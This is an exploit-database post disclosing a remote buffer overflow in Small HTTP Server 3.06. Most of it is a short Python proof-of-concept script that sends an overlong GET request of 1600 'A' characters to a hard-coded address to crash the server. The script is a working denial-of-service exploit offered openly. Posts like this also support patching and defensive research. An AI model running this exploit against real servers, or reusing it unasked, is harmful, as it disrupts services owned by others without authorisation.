

## Small HTTP Server 3.06 Remote Buffer Overflow

Authored by [Yehia Elghaly](#)

Posted [Apr 7, 2022](#)

Small HTTP Server version 3.06 suffers from a remote buffer overflow vulnerability.

tags | [exploit](#), [remote](#), [web](#), [overflow](#)

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```
# Exploit Title: Small HTTP Server Remote Buffer Overflow
# Discovered by: Yehia Elghaly
# Discovered Date: 2022-04-07
# Vendor Homepage: http://smallsrv.com/
# Software Link : http://smallsrv.com/shttps_mgi.exe
# Tested Version: 3.06
# Vulnerability Type: Buffer Overflow Remote
# Tested on OS: Windows XP SP3 - Windows 7 Professional x86 SP1

# Description: Small HTTP Server 3.06 Long GET Remote Buffer Overflow

#!/usr/bin/env python

from requests.exceptions import ConnectionError
from requests.compat import urljoin, quote_plus
import requests as req

try:
    url = "http://192.168.1.99"
    term = "A" * 1600
    evilb = urljoin(url, quote_plus(term))
    resp = req.request(method='GET', url=evilb)
    print(resp.text)
except ConnectionError as e:
    print "Crashed!!"
```

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